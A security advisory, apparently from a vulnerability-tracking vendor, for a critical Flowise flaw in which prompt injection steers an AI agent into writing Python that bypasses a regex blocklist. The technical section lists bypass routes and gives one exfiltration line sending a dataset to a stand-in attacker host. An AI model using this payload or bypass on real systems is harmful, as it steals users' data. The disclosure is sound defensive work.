CVE-2026-73487: Flowise CSV and Airtable Agent prompt injection to RCE

CVE-2026-73487 · Severity: critical · CVSS 9.8 · Published 2026-08-13

Flowise is an open-source low-code platform for building AI chatbots and agents. Versions before 3.1.3 contain a flaw in the Python code validator used by CSV and Airtable Agent nodes that allows unauthenticated attackers to inject malicious code through prompt injection. An attacker can exploit this to exfiltrate sensitive data from uploaded datasets, perform server-side request forgery (SSRF) attacks against internal services, or execute arbitrary code on the Flowise server.

Technologies: flowise (npm), flowise-components (npm). Vendors: npm.

Quick answers

Is CVE-2026-73487 exploited in the wild?
No. Junglewise Threat Intelligence has no report of CVE-2026-73487 being exploited in the wild.
How severe is CVE-2026-73487?
Critical severity, with a CVSS score of 9.8, published 13 August 2026.
Which products and versions are affected?
flowise (npm) <= 3.1.2, SEMVER:introduced=0,fixed=3.1.3; flowise-components (npm) <= 3.1.2, SEMVER:introduced=0,fixed=3.1.3.
Is there a fix for CVE-2026-73487?
Yes. flowise (npm): upgrade to 3.1.3 or later; flowise-components (npm): upgrade to 3.1.3 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.
How is CVE-2026-73487 attacked?
It is attacked over the network, in a software library.
Am I affected by CVE-2026-73487?
Check whether you run flowise (npm) or flowise-components (npm) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

How to fix

  • flowise (npm): upgrade to 3.1.3 or later
    npm install flowise@3.1.3
  • flowise-components (npm): upgrade to 3.1.3 or later
    npm install flowise-components@3.1.3

Technical details

The vulnerability is a regex-based code validator bypass in the validatePythonCodeForDataFrame() function that uses a blocklist of 38 patterns to sanitize Python code before execution. Multiple structural bypasses exist: pandas URL-fetching functions like pd.read_json(), pd.read_csv(), and pd.read_html() are not blocked and can make outbound HTTP requests carrying datasets; the importlib module bypasses the import blocklist due to word boundary logic; chr() concatenation allows runtime construction of blocked function names; and np.ctypeslib.load_library() is not blocked. An unauthenticated attacker can send a crafted prompt injection via the prediction API (POST /api/v1/prediction/:id), steering the LLM to generate bypass code that executes in the Pyodide runtime. The most trivial bypass is pd.read_json("http://attacker.com/?d=" + df.to_json()), which passes all regex checks yet exfiltrates the entire dataset. Patch: upgrade to version 3.1.3 or later.

Affected products

  • FlowiseAI Flowise before 3.1.3

Identifiers

  • CVE-2026-73487
  • GHSA-w7x8-q2gp-5cgg

Timeline

  • 2026-07-29: disclosed
  • 2026-08-13: patched: Version 3.1.3 released
  • 2026-08-13: advisory

References

This page as Markdown. Free to reuse under CC BY 4.0 with a link back.